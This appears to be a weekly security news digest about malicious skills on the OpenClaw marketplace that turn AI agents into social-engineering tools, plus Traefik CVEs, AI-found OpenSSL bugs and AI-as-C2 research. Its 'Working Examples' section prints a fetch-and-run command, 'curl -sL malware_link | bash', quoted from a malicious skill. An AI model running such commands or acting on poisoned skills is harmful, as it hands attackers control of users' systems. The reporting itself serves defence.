AI Agent Security Failures and the OpenClaw Dumpster Fire: Weekly Security Review

OpenClaw Is a Security Dumpster Fire (And Everyone Knew)

OpenClaw’s marketplace has been compromised by over 1,000 malicious skills that turn AI agents into social engineering tools. Koi Security identified 1,184 malicious entries, including skills that trick users into executing remote bash scripts.

Why This Matters

The rapid adoption of AI agents like OpenClaw demonstrates a critical failure in modern software abstraction, where convenience is prioritized over foundational security. The technical reality is that full read/write access combined with untrusted input ingestion creates an unfixable threat model for current LLM technology, as evidenced by the 1,184 malicious skills discovered by Koi Security. Furthermore, the “Impact Gap” highlights that while AI tools are becoming adept at identifying technical vulnerabilities, they lack the context to assess business criticality. This disconnect means that even though an AI might find a CVSS 9.8 bug, the inability to distinguish between a dead library and a critical payment processor remains a major hurdle for automated security research.

Key Insights

• Koi Security found 1,184 malicious skills on ClawHub in 2026, with 7.1% of skills scanned by Snyk exposing plaintext credentials.
• Traefik addressed two critical CVEs (CVE-2025-68121 and CVE-2026-25949) involving mTLS bypasses and DoS vulnerabilities in 2026.
• AISLE’s AI system identified 13 of 14 OpenSSL CVEs in 2025, including a CVSS 9.8 buffer overflow dating back to the 1990s.
• A 2025 analysis of container escapes found that 100% of the 16 identified escapes occurred in runtimes and orchestrators rather than the Linux kernel.
• Check Point researchers demonstrated AI-as-C2 in 2026, using WebView2 to hide command-and-control traffic within legitimate AI API calls.

Working Examples

Malicious skill payload found on ClawHub that executes remote scripts via social engineering.

curl -sL malware_link | bash

Practical Applications

• Bitwarden utilizes ETH Zurich audits to validate zero-knowledge claims against malicious server scenarios; failure to verify these audits leads to reliance on unproven marketing.
• Traefik users must update to v3.6.8 or v2.11.37 to prevent mTLS bypasses; assuming protocol fast-paths are safe without patching creates an inherited exposure from Go’s stdlib.
• Organizations must move from TOTP to hardware keys or passkeys; relying on TOTP in 2026 is considered security theater due to commoditized real-time phishing proxies.

References:

• https://dev.to/dendrite_soup/week-in-security-openclaws-dumpster-fire-and-other-lessons-894